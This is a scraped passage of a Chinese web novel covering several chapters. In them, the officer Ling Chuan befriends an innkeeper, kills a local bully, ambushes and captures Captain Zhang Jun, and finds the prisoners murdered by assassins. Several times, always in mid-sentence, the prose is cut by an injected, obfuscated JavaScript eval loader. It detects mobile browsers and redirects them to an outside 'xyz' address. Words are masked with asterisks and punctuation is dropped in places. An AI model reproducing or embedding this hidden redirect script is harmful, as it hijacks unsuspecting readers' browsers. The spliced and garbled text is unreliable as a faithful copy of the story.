谢知命眼底闪过疑惑之色,**凌川葫芦里卖的是什么药,但还是取来两只酒杯。 凌川揭开酒封,倒出两杯,霎时间,浓郁的酒香充斥整个屋子,谢知命满脸惊愕之色,端起酒杯先是闻了闻,随后浅尝了一口。 “这是什么酒?”谢知命满脸震惊地问道。 凌川淡笑道:“此酒名为狼血,是我前不久才酿造的!” 谢知命再次将酒杯送至嘴边喝下第二口。 “酒劲凶猛,但浓香醇厚,此等佳酿举世难求!”谢无量对此酒给予了极高的评价。 “谢兄觉得,这酒,能否让天香楼起死回生呢?”凌川问道。 谁知,谢无量却是再次叹息道:“凌兄有所不知,天香楼的根结不在此,而是在于没人敢来!” 凌川自然知晓,说道:“如果我说,我可以帮你解决掉章俊 呢?” 谢知命满脸震惊,他归根结底不过是个生意人,而凌川要动的却是手握兵权的云岚校尉,这让他如何不震惊? 凌川自然是看出了他的担忧,笑道:“谢兄不必紧张,这件事情我自己去做,不会把你牵扯进来。” 听到这话,谢知命暗自松了一口气,可紧接着又露出担忧之色,说道:“凌兄有所不知,这章俊的背景可不简单,他哥哥章绩乃是漠北节度府一位大人物,在这云岚县更是与刘家勾结,就连县令都得任其驱使!” 凌川缓缓放下酒杯,笑道:“章俊的后台我知道,至于刘家也有所耳闻,但这些都不需要谢兄操心,你只需要答应我,若我帮你重振天香楼,以后天香楼就用我的酒,三两银子一斤!” 谢知命一脸错愕,也只有在神都或是富庶的江南那些奢靡之所才能卖出三两银子一斤的价格,而且,这并非酒本身的价格。 但,真正让他不解的是另外一个问题。 “谢某与凌兄虽是初次见面,但也能感受到,凌兄并非贪财之人,虽说这狼血确实值这个价,可谢某实在想不通,凌兄堂堂校尉,为何要自降身份做买卖!”谢知命一脸笑意地看着凌川问道。 凌川闻言,苦笑道:“谢兄你是不当家不知柴米贵啊,我手下一千兄弟跟着我出生入死,每日吃喝用度就是一笔不菲的开销,再则,朝廷的情况想必你也清楚,一年半载也发不了军饷,就算发下来,层层克扣之下,落到他们手里还有几个铜板?” 谢知命眉峰微挑,“凌兄做酒水买卖,是为了给手下军卒发军饷?” “正是!”凌川点头说道。 “想不到,在如此腐朽的天下,还有凌兄这等人,谢某佩服,我敬凌兄一倍!”谢知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948001|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命起身,双手举起酒杯,躬身相敬。 凌川也连忙起身,端起酒杯说道:“谢兄过誉了,凌某愧不敢当,不过是遍地哀鸿满城血,无非一念救苍生!” 听闻此言,谢知命顿时陷入沉思,口中喃喃道:‘遍地哀鸿满城血,无非一念救苍生!’ “凌兄,这句诗是你所作?”谢知命满脸惊讶地看着凌川。 “不过是随心感慨而已!”凌川摆手道。 满脸激动的谢知命径直来到案头前,提笔舔墨,将刚才那句诗写了下来,连连夸赞。 “随口感慨便是如此惊世之作,字字珠玑,尽显苍生大义!”紧接着,谢知命自嘲笑道:“枉我谢知命自诩饱读诗书,今日见了凌兄才知道,自己不过是穷酸腐儒,简直令人贻笑大方!” “谢兄切莫妄自菲薄,我见你这满墙丹青皆是治国良策,像你这等胸有韬略之才,为何不投身庙堂呢?”凌川好奇问道。 谢知命摇头苦笑道:“凌兄有所不知,我谢家本是书香门第,奈何凋零数代,到我父亲一代,已然是靠做买卖讨生活,我虽从小立志靠读书考取功名光耀门楣,奈何,如今这世道寒门学子哪怕你有惊世治国之才,若无强大的背景,你终其一生连仕途的门槛都碰不到!” 凌川暗自点头,谢知命如此,陈暻垚又何尝不是如此? 这天底下,像他们这般,寒窗苦读十余载,最终却只能进入世家门阀当一个幕僚,空有一身学识才华,却无施展的机会,这样的寒门学子不知凡几。 “我认识一位读书人,自知读书没有出路,便弃笔从戎,投身边疆!他曾给我说过,圣贤书中写道,大丈夫生于天地之间,当以天下苍生为己任!”凌川正色说道。 听闻此言,谢知命眼神中闪过一缕精光,叹息道:“听君一席话胜读十年书,看来我这些年的书果真是白读了!” “谢兄此言差矣,这世上没有白读的书,也没有白走的路!若干年后再回首,我们走过的每一个脚印,都是当年的影子!” “哈哈哈哈……凌兄说得在理,我借你的酒,敬你一杯!”谢知命似是解开心结,爽朗大笑道。 第86章 公子,俺来了! 二人是越聊越投机,大有相见恨晚之意,谢知命让掌柜做几道招牌菜送过来,与凌川边吃边聊。 一直聊到下午,凌川才离开天香楼。 然而,他刚来到街道上,一名穿着华贵满脸痞气的男子便带着一众汉子将凌川围住。 凌川扫视了一圈,发现赫然有之前要拉自己去福临门吃饭的那名小厮,这让他瞬间明白了对方的来头。 “阁下这顿饭吃得可好?领头那名华服男子满脸恶笑地走了上来,问道。 此人不是别人,正是福临门的东家,也是云岚县刘家的嫡系,刘蚩。 凌川淡淡瞄了他一眼,笑道:“酒足饭饱,阁下有何指教? 刘蚩冷笑一声,说道:“没什么指教,只是想给你长点记性,以后这天香楼还是不要去为妙! “哦?凌川饶有兴致地看着他,问道:“可我就觉得天香楼的菜合我口味怎么办? “我看你是敬酒不吃吃罚酒! 说完,他抬手便是一巴掌朝着凌川扇来。 然而,就在他的手掌即将扇中凌川的时候,只感觉手腕一紧,原来是凌川一把扣住了他的手腕。 刘蚩顿时一怒,喝道:“狗东西,你竟敢还手…… 话音未落,凌川一记耳光狠狠扇在他的脸上。 刘蚩当场被扇懵了,只感觉脸颊一阵火辣辣的疼。 “**,你敢打我…… “砰…… 回应他的是一记重拳,直接将他鼻梁骨打碎,霎时间,刘蚩满脸鲜血,跟随而来的一众打手也是呆滞原地,这么多年来,还没见有谁敢动刘家的人,更何况还是在福临门的门口。 “饭桶,你们还愣着干什么?给我废了他! 刘蚩的怒吼声让这一众打手回过神来,纷纷上前就要动手。 “砰……啊…… 然而,就在此时,一声声惨叫传来,几名打手还没反应过来,便被人从身后放倒。 来人不是别人,正是返回的范颉、钱丰等人。 他三人虽非军伍出身,但经历上次狼烽口外一战,身上的血性也早已被激发出来,对付这种地痞流氓不在话下。 “公子,你没事吧? 凌川不屑地扫了刘蚩一眼,说道:“若是连这等宵小都收拾不了,我凌川还当什么校尉? 听到凌川二字,刘蚩身体猛然一颤。 如今的北境谁不知凌川大名?只是他怎么也没想到自己竟然遇到了这位北系军中的后起之秀。 可他很快就稳住心神毕竟这里是云岚县不是狼烽口刘家庞大的势力再加上与章校尉的关系凌川不过只带了几个人断然不敢乱来。 “凌凌川你可要想清楚这里是云岚县我乃是刘家嫡系你若敢动我断然走不出县城!”刘蚩原本是想搬出自己的后台让凌川知难而退。 可他怎么也没想到正是这句话让他丢了性命。 只见凌川冷漠一笑说道:“我本不想杀你可你既然这么说了我偏要试一试!” 说完凌川用力一推刘蚩连连后退。 “嗤……” 还不等他站稳吕鸿一把抓住他手中**直接从刘蚩的脖子抹过。 刘蚩瞪大双眼满脸的不甘与恐惧身体缓缓倒地。 “走吧出城!” 凌川翻身上马带着几人径直出城。 估计用不了多久刘蚩身死的消息便会传遍云岚城到时候城门关闭自己等人再想出城就难了。 然而当他们来到城门口的时候发现还是晚了一步只见数十名守城士兵持刀而立守在这里。 “大人对方似乎已经接到消息了!” 凌川点了点头说道:“城门并未关闭直接闯过去!” “唰唰唰……” 战刀出鞘凌川猛然加速径直朝着那一队士兵冲去吕鸿、范颉等人紧随其后。 之前为了躲避排查他们将战刀藏在了马腹之下为的是以备不时之需。 “拦住他们!”只听一声大吼传来那一众士兵直接持刀冲了上来。 然而面对疾驰而来的六骑一众士兵顿时生出畏惧之感对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948002|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然只有六人可一个个都带着冰冷杀意让他们心生忌惮。 “挡我者死!” 凌川一声冷喝手中战刀闪烁着慑人寒芒。 那一众士兵当场被吓得退至两旁然而凌川等人冲至城门跟前 一名男子出现在城门之上对着下方的一众士兵大喝道:“所有人听令将这几名贼人拿下谁敢怯战军法处置!” 随着这一声令下那一众士兵再不敢后退纷纷朝着凌川等人围上来。 与此同时两侧也涌出数十名手持**的士兵。 凌川脸色瞬间一沉他深知云岚县这些士兵的战力 虽然不怎么样,但人数众多,一旦被围住,他们将很难脱身。 “公子,俺来了!” 就在这时,一声大吼传来,只见一名身形魁梧如金刚的女子从城门外冲了进来。 正是安葬母亲之后,在此等候凌川的翠花。 只见她顺手举起一架拒马桩,朝着那一众士兵砸去,那数百斤重的拒马桩竟被她轻松举起,随手抛出数丈远,将一众士兵压倒。 整个过程潇洒自如,如吃饭喝水一般轻松写意。 紧接着,翠花再次抓起一架拒马桩甩了出去,将另一边的几名士兵砸倒,顷刻间哀嚎遍地,惨叫连连。 “公子快走!” 翠花径直来到凌川身边,哪怕凌川坐在马背上,也只能与她等高。 “一起走!”凌川大声说道。 翠花纯真一笑,道:“俺没事,你们走了我随后跟来!” 对于翠花而言,凌川给了自己银子安葬母亲,那从今以后,自己这条命就是他的,哪怕明知与官兵作对是**的行为,她也毫不在乎。 “你们先走!”凌川对钱丰等人说道。 随即又看向翠花,说道:“翠花,一起走,你要是不听话,我就不要你!” 翠花闻言,眼神中闪过一丝慌乱,连忙点头道:“俺听公子的!” 一行人径直冲出城门,至于那些士兵早已经被吓傻,再不敢追上来。 第87章 引蛇出洞! 然而,几人刚出城,城楼之上便开始放箭。 好在凌川早有预料,让大家伏于马背,驭马蛇形前行,这才避开了大部分羽箭。 忽然,钱丰闷哼一声,竟是一支羽箭射中了他的后背。 幸运的是,此时他们已经离开了对方的射程,凌川让吕鸿与钱丰共乘一骑,背着钱丰走,而翠花则是骑吕鸿的马。 然而,当翠花骑上战马的瞬间,战马四蹄颤动险些跪下,显然是这个重量让它有些吃不消。 “快走!”凌川大喝一声,让众人先行,而他自己则是留在最后面,取出破甲弓迅速组装起来。 很快,后方便传来了马蹄声,十余骑快速追来,“给我追,别让他们跑了!” 凌川调转马头,从容不迫地取出一支铁箭搭在弓弦之上。 “咻!” 只见凌川一箭射出,冲在最前面那名骑兵仰面摔下马背。 凌川熟练开弓,眨眼间便放倒四人,剩余几人见状,连忙调转马头后退,只不过,他们并未走远而是在数百步之外盯着凌川。 就这样与对方对峙了片刻,凌川估计钱丰等人已经走远,这才调转马头离开。 果然,后方的几名骑兵迅速追了上来,但碍于对凌川破甲弓的忌惮,始终保持着距离。 凌川策马奔腾,一炷香之后便追上了钱丰等人,此时,钱丰后背已经是血红一片。 “还好没有伤及要害,我帮你把箭头**,忍着点!” 钱丰脸色苍白,点头道:“大人尽管来,这点痛我还忍得住!” 凌川先是用**将他后背的衣衫割开,然后小心翼翼地拔出箭头,钱丰紧咬牙关,口中传来闷哼声。 随着箭头拔出,伤口开始大量冒血,凌川立马用纱布按了上去,随后撒上金疮药粉,又用纱布将其包了起来。 做完这一切,钱丰早已是满头大汗,不过神色也缓和了很多,“多谢大人救命之恩!” “咱们是兄弟,无须客气!”凌川擦拭着手上的血迹,随后对吕鸿说道:“你马上带钱丰离开,去附近寻找医馆!” 吕鸿神色一愣,问道:“那你们呢?” “我们在这儿等人,好戏即将上演!”凌川淡淡说道,随即将手中的金疮药粉递给了对方,说道:“记住,换药的时候,用这个药粉,趁着天还没黑,赶紧走!” 钱丰二人离开之后,凌川也带着几人离开,不多时,身后便传来密集的马蹄声,显然对方追上来了。 “还有多远?”凌 川对范颉问道。 “还有三里!”范颉回答道。 “速度放慢一些,别让他们跟丢了!”凌川小声提醒道。 紧接着,又看向翠花笑道:“翠花,你那匹马脚力差一些,你走前面,我们一会就追上来!” “好的公子!” 当夕阳的最后一缕余晖消失之时,一行五骑来到一片开阔地带,前方是一片桦木林,官道自桦木林中横穿而过,两旁的笔直的桦树就像是一列列手持钢枪的士兵。 后方,大片马蹄声传来,一百余骑气势汹汹追了上来,进入开阔地之后,迅速散开,径直朝着凌川等人围了上来。 “围上去,别让他们跑了!” 只见一名身着校尉甲的男子大喝一声,那一百余骑仿佛狩猎一般,将凌川等人团团围住。 凌川横刀立马,眼神中看不到半点慌乱,范颉与另外两名死字营成员分别站在凌川身后,反倒是翠花,翻身下马直接冲到凌川跟前,眼神之中露出凶悍之色。 全然没有注意到,驮着她奔行一路的那匹战马已经口吐白沫,四腿颤抖。 “跑啊,怎么不跑了?”那名身穿校尉甲的男子满脸杀机,盯着凌川几人。 见到此人,凌川不用询问,便知道他便是章绩的弟弟章俊。 一来是样貌与章绩有几分相似,而且,整个云岚县,就只有一套校尉甲,其主人便是章俊。 “你说,有没有可能我是刻意在这里等你呢?”凌川脸上带着若有若无的笑意,看着章俊问道。 章俊眼底闪过一抹异色,随即冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948003|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“等我?等我砍下你们的脑袋吗?” 凌川淡淡一笑,说道:“惦记我这颗脑袋的人很多,可现在它依然长在我的脖子上,你若有本事,大可以来拿去!” “当街**,硬闯哨卡,射杀士兵,如今更是在我面前大放厥词,我很好奇,是谁给你的胆子!”章俊那冷漠的目光宛如刀子一般,在凌川身上游走。 章俊一直来到距离凌川十步距离才停下,不过他很谨慎,身旁的亲兵个个持盾,显然是对凌川的破甲弓十分忌惮。 “若论胆子,鄙人怎么能比得上章校尉?掳掠良家女子,私藏兵甲卖给胡羯人,与这些罪名相比,我杀一个地痞流氓又算得了什么?”凌川淡然说道。 然而,这番话却让章俊脸色剧变,只感觉脑袋嗡的一声响。 几日前,土堡这个据点被人拔除,藏在里面的女子和兵甲全部被人洗劫一空,到现在都还没有查出眉目,他正愁着没办法向兄长交代。 可眼前这男子竟然一口道出了其中的秘密,这如何让章俊不震惊? 直觉告诉他,眼前这少年十有**便是洗劫土堡的人,就算不是主谋也绝对是知情者。 可他不明白,对方为何要将自己引出云岚县。 联想到之前对方那句在等自己,章俊瞬间意识到了不妙。 “拿下他们!”章俊忽然大喝一声。 “咻咻咻……” 霎时间,漫天破空声从周围的桦林中传来,伴随着成片的惨叫声,章俊带来这一百余人死伤近半。 章俊脸色剧变,就要下令撤退,便密林之中传来阵阵喊杀声,紧接着大批甲士从四周冲了出来,足足有两百人,瞬间变对他们形成了反包围。 唐岿然手持一杆**,身后是两百身经百战的老卒,此前一直潜伏在桦木林之中。 章俊此时已经来不及多想这些人是什么身份,从何处而来,此时,他的脑海中只有一个念头,那就是逃! “翠花,抓住他!” “公子放心,他跑不掉的!”翠花径直朝着章俊冲了上去。 第88章 章俊被擒! 见到肉山一般的翠花朝着自己冲来,章俊顿时大惊失色。 “给我挡住她!” 章俊大喝一声,一众亲兵举着盾牌朝着翠花压来。 面对这面‘铁墙’翠花连看都没看,直接撞了上去,伴随一道沉闷的声响,十余名亲兵直接横飞出去,不少人口吐鲜血,手中盾牌更是飞出去老远。 章俊见那宛如一尊金刚的女子朝着自己冲来,再不敢停留,连忙调转马头就要离开。 然而,刚才跑出去两步,便听到战马发出一声嘶鸣,紧接着,章俊发现自己连同胯下战马竟然悬空转动起来。 扭头一看,他险些被当场吓死,只见那女子竟然一只手拽着马尾,将他连人带马当成大锤给抡了起来。 几圈抡下来,章俊只感觉昏头转向,胸腹更是一阵翻江倒海。 只见翠花大喝一声,抓住马尾的手一松,章俊连同战马一同飞出去,重重摔在地上。 战马嘶鸣一声,站起来想要跑,结果刚起身便跌跌撞撞倒下了。 章俊只感觉浑身都要散架一般,他正要忍痛起身,却发现一只如小型盾牌般的脚底板直接落在他的胸口,霎时间,章俊听到自己体内传来一声声脆响,那是骨头断裂的声音。 “翠花,收着点,留他性命!”就在此时,凌川的声音传来。 只见凌川翻身下马大步走了上来,居高临下地看着他。 “现在你知道我为何在此等你了吧?” “你,你到底是谁?”章俊嘴里不断吐血,眼神中满是恶毒的杀意。 “忘记自我介绍了,鄙人凌川,就是你家兄长一直想要杀之而后快的那个凌川!” 听到凌川二字,章俊目光陡然一缩,瞬间联想到了很多事情。 “竟然是你,果真是你!” 竟然是你,是指他没想到凌川竟然会出现在云岚县,果真是你,是指洗劫土堡的人果然是凌川。 “你要是不想你的人全部死在这里,最好下令让他们束手就擒!”凌川抬起目光扫视一圈,发现这百余骑已经死伤大半,只有三十余人在苦苦支撑。 面对唐岿然带来的两百老卒,他们根本就没有一战之力,就算是兵力对等的情况下展开厮杀,章俊手下的兵也没有半点胜算。 “住手!”章俊有气无力地喊了一声。 他很清楚自己手下这些兵都是什么货色,真要拉上战场,那完全就是敌人眼里行走的军功,就算负隅顽抗,也不过是多坚持片刻而已,最终的结果就是全部被斩杀于 此。 “凌川,我可是云岚县校尉,你公然带兵挑事,就不怕节度府问罪吗?”章俊咬牙喝问道。 凌川一脸冷笑地看着他,说道:“你猜,我为何把你引到这里来?” 听闻此言,章俊内心顿时生出一股凉意。 凌川之所以将他引到此处,一来是不方便带大量兵力进城,再则城内耳目众多,一旦在城内动手,很容易留下把柄。 所以,凌川才当街杀死刘蚩,再刻意与守城士兵发生冲突,并且沿途故意放缓脚步,为的就是引章俊出城。 既然是为了查土堡背后的线索,凌川又怎么可能没有防备呢? 离开狼烽口之前,他便让唐岿然召集两百好手跟随,之前在天香楼的时候,凌川便让钱丰等人传讯给唐岿然,这才有了这场引蛇出洞的伏击。 看着凌川脸上那若有若无的冷笑,章俊只感觉头皮发麻,颤声道:“凌川,你要是杀了我,那就是残杀同袍,等同于**,节度府问罪下来,你脱不了干系!” 凌川却是摇了摇头,说道:“你想多了,我不会杀你,而且,还会让人把你送到节度府!” 听到这话,章俊瞬间明白,对方是要拿自己问罪,想要以土堡这起案子来扳倒自己的兄长。 想到这里,他非但没有担心,反倒是得意大笑起来。 “哈哈哈哈……凌川,你以为拿了我就能扳倒我兄长吗?你未免太天真了,先不说这件事情能否传到卢帅耳朵里,就算卢帅知道了又如何?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948004|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >章俊如此有恃无恐,定然是知道,他哥哥章绩的后台就算是卢恽筹也得忌惮三分,哪怕真的事情败露,最终的结果也是不了了之。 “我保证,肯定会传到卢帅的耳朵里!”就在此时,一道声音传来。 章俊循声望去,只见一名身着月白襕衫的青年男子迈步走来,身后跟着四名亲卫。 “叶世珍,你,你怎么会在这里?”章俊脸色彻底变了。 倒不是畏惧叶世珍,而是因为叶世珍出现在这里,是否代表了卢帅的意思? 叶世珍自然也是凌川叫来的,毕竟,这件事情,终究还得通过他将消息带给卢恽筹。 “章俊掳掠百姓,私贩兵甲,通敌**,给我拿下,押回节度府发落!”叶世珍一声令下,身后几名亲卫直接走上前来。 此时的章俊脸色煞白,只能任由几名亲卫卸掉兵器铠甲,缚住双手。 “先生来得真够及时啊!”凌川笑着跟叶世珍打招呼。 “你都亲自来信了,我哪敢怠慢!”叶世珍笑着回应道。 二人寒暄了一番,天色也彻底暗了下来,凌川问道:“眼下天色已晚,不如先返回云岚县暂住一晚,明日在起程回节度府如何?” “也行,正好云岚县还有些事情要处理!”叶世珍点头道。 一行人押着章俊和那百余名士兵返回云岚县,叶世珍手持卢帅令牌,自然是无人敢拦。 进城之后,叶世珍直奔军营,召集营中所有士兵到校场集结,由凌川的人全程监管,所有人不得离开。 校场四周篝火通明,唐岿然带着两百人密切监视着场中一举一动,但凡有异动,可就地处决,一众士兵虽不明情况,但也能猜到,定然是发生了大事。 之所以如此,是因为此时叶世珍正在亲自审问章俊,他作为云岚县校尉,手下定然有不少自己的亲信,而那些人多半也参与到了土堡事件中,必须一网打尽。 不到半个时辰,便有十多名章俊的亲信被带走,大多都是标长、什长,全部被关进军营大牢之中。 第89章 成了别人手中的刀! 一直到深夜,章俊及其心腹全部被关进大牢,校场士兵回营休息,但凌川依旧让唐岿然分出部分人轮流看守。 校尉府中,凌川与叶世珍相对而坐,看着杯中黄酒,叶世珍不住叹息:“比起狼血,这酒真是寡淡无味啊!” 凌川笑道:“我的酒坊已经开始大量酿制,以后先生的酒我包了!” 叶世珍指着凌川,笑道:“我明日回去,先向卢帅参你一本,就说你贿赂上级!” 凌川自然知道这是玩笑话,接着说道:“先生只带了几名亲卫,要不明日我派些人手,帮你把章俊等人送回节度府?” 叶世珍点了点头,说道:“也好,以免出现变故!” 二人对饮一杯,凌川又主动给叶世珍倒了一杯,问道:“章俊招了吗?” 叶世珍点了点头,说道:“招是招了,不过说的都是一些无关紧要的事情,并未提及章绩!” “看来,他是想一个人抗下所有罪责,保全章绩了!” 叶世珍抬起目光看着他,问道:“你觉得,这件事情主谋是章绩?” 凌川神色变幻,他从寇悔的口中已经隐约得知,在章绩的背后还有一只大手在操控,而且,无论是章绩,还是土堡,都不过是暴露出来的冰山一角。 但,凌川没想到,叶世珍竟然也从中看出了端倪,面对这一询问,凌川只能故作惊讶地反问道: “难道不是?” 叶世珍笑了笑,没有正面回答,“其实,就算章俊全盘供出,想要以此扳倒他也是不大可能的事情!” 凌川微微点头,对于这一点,他其实已经想到了,毕竟,章绩的后台摆在那里,但若是事情败露,章绩也不可能继续留在北系军中任职,这对于自己而言,威胁就小了很多。 “北系军中,无论是武将还是文官,绝大多数人都有着自己的背景,章绩的后台是他那个位居户部尚书的老丈人,所以,就算这件事查到他身上,也要不了他的命!” “对于北系军而言,掳掠良家女子还是贩卖兵甲都是大事,但对于卢帅个人而言,这些都算不得大事,毕竟他在乎的是北系军的稳定!”叶世珍盯着凌川,脸色无比严肃,继续说道: “这些年,朝中权贵和世家门阀明里暗里都在往北系军安插人,有的是来镀金的,有的则是试图**!” 听闻此言,凌川不由得倒吸一口凉气。 一时间,众多念头涌入脑海,此前他觉得北系军始终**羯人压一头,以至于在战场上连连失利,这定是卢恽筹 拥兵自重的结果。 可上一次面见卢恽筹,虽然并未深入了解,可凌川却发现,他并非庸碌之辈,自己甚至能从他的只言片语间感受到一丝丝的无奈。 现在看来,还是自己太年轻,把事情想得太简单了。 卢恽筹看似北系军主帅,可北系军并非他一个人说了算,身边的每一个人都是代表着不同的利益群体,或朝堂派系或世家门阀。 甚至,很多人明里暗里都在想着如何从他手中分走兵权,甚至在将来的某一天取而代之。 但,卢恽筹哪怕明知这些人的身份和目的,却不能轻易动他们,否则,自己乃至整个北系军都将成为那些人背后势力的公敌。 就好比章绩,他老丈人执掌户部,北系军的军饷粮草都得从他手底下过,所以,哪怕明知章绩那些小动作,卢恽筹也只能睁一只眼闭一只眼。 而像章绩这样的人,北系军中比比皆是,卢恽筹若是将其全部铲除,最终的下场要么解甲归田马放南山,要么就跟南疆主帅苏定方一样。 忽然,凌川的脑海中不由得冒出另外一个念头。 有没有一种可能,章绩贩卖女子和兵甲这些事情,卢恽筹早就知道? 他之所以假装不知道,就是想让别人来动章绩,并以此向章绩等人开刀?而自己却阴差阳错成了那把刀? 凌川想到之前叶世珍说,让他放手去查,一切由他兜底。 再想到那句,‘被利用不可怕,就怕自己连被利用的价值都没有!’凌川更加坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948005|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了心中的猜想。 霎时间,凌川顿时一激灵,后心冒出了细密的冷汗。 叶世珍则是意味深长地看着他,说道:“凌兄弟,你我相识一场,叶某也十分钦佩你的能力和为人,但我不得不提醒你一句,你可以当一把刀,但决不能甘心永远当一把刀,而是要当拿刀的那只手!” 凌川点了点头,再次道谢:“多谢先生指点!” 紧接着,凌川又问道:“那叶先生呢?你属于哪个利益团体?” 此言一出,叶世珍尽管脸上依然带着笑,可眼神却微微一凝,直视着凌川。 许久之后,他才缓缓开口道:“青州叶氏!” 青州叶氏! 哪怕凌川的前身只是一个边关小卒,也曾听过这个昌盛了三百多年的顶级门阀,叶氏以经学传家,三百年来,这个家族走出了无数名家大儒,可谓是桃李满天下。 朝堂之上,更是随处可见叶家的身影,迄今为止,更是出了三位宰相,五位尚书,十二位侍郎…… 放眼天下,能与青州叶氏相比的,也不过那么两三家,陇西李氏,琅琊王氏,就连日渐衰老的清河崔氏都无法与之相提并论。 叶世珍笑了笑,继续说道:“我便是你们口中的门阀子弟,在外人看来,我们一出生便是锦衣玉食,前途一片光明,可谓是风光无限,可只有真正生在这样的环境,才知道,大家族的子弟很多时候更加悲哀,我们从一出生开始,便被家中长辈把一生都给安排了,从读书入仕到娶妻生子,无论大小事,自己都没有选择的权利!” 叶世珍苦笑一声,说道:“我那妻子同样出身显赫,可成婚之前我与她连面都不曾见过,成婚之后更是相敬如宾,如同枕边睡了一个陌生人!” 说完,他端起酒杯,自顾自饮了一大口。 对此,凌川不知道说什么,准确说,他连接话的资格都没有。 就在这时,门外传来了急促的脚步声,紧接着一道身影出现在门口。 “校尉大人,出事了!”苍蝇的声音传来。 第90章 血衣堂**! 凌川闻言不由得心神一紧问道:“怎么回事?” “有人劫狱!”苍蝇神色凝重地说道。 叶世珍神色巨变问道:“章俊等人都被劫走了?” “没有但全部都被灭口了!”苍蝇怯声回应。 “那劫狱之人抓住了吗?”叶世珍连忙追问。 章俊再次摇头:“那些人得手之后也都选择了自尽!” 听到这里叶世珍与凌川对视一眼二人脑海中同时冒出两个字——死士! “走去看看!”出了这档子事儿这酒也没心情喝了迅速起身赶往大牢。 此时大牢已经被全面**在来的路上凌川得知对方一共来了七人个个实力强悍哪怕看守大牢的是死字营中的好手也抵挡不住。 片刻间六名死字营成员惨死唐岿然得知消息第一时间赶了过去而那七名死士已经被先一步赶去的死字营成员堵在监狱之中。 原本他们还想着冲出去结果被唐岿然一人一枪堵住了去路 来到监狱中凌川查看了这六名死字营成员的伤口皆是一刀毙命每个人身上都找不到第二处伤口。 看着六名死字营兄弟冰冷的尸体凌川的脸色难看到了极点身上的杀意更是不受控制地席卷而出哪怕是身旁的叶世珍和唐岿然都能感受到杀气的存在。 “皆是一刀毙命看来这批死士的实力非常恐怖!” 唐岿然也同样是悲愤交加说道:“卑职曾与其中两人交手其刀法刁钻诡谲招招索命显然是训练有素的**!” “我不管他们是谁就算是阎王爷来了也要为我兄弟偿命!”凌川咬牙说道。 凌川小心翼翼将这六人的牌子收起来牌子上沾染着鲜血触目惊心。 虽然他与死字营成员相处时间不长但彼此曾共同经历过生死而且是自己把他们从死字营中带出来的他们没有死在战场上却憋屈地死在了阴谋之中。 若不为他们讨回公道凌川无法对自己交代。 叶世珍的眼神中闪过一抹担忧之色不过却什么都没说。 随后凌川又检查看了那七名死士的尸体发现他们身上除了随身那把短刀之外没有任何与身份相关的东西除了两人是被死字营士兵联手**致死两人死于唐岿然之手外另外三人皆是自刎而死。 “这刀 我似乎在《刀剑录》上见过!”忽然,叶世珍指着那把带血短刀,惊声说道。 此言一出,唐岿然也眉头一凝,随即恍然大悟,惊声道:“我想起来了,这是血契!” “血契?”凌川一脸不解。 唐岿然点了点头,说道:“相传,六十年前,江湖上有一名**为了刺杀靖王,伪装成游方术士进入王府,为了不暴露他没有带任何武器,而是趁着给靖王看相之时,剖开自己的身体,摘下一根肋骨为刀,杀**靖王!” 凌川神色一惊,没想到这世上还有如此狠人,不过,当一个人的内心被仇恨填满之后,没有什么事情是做不出来的。 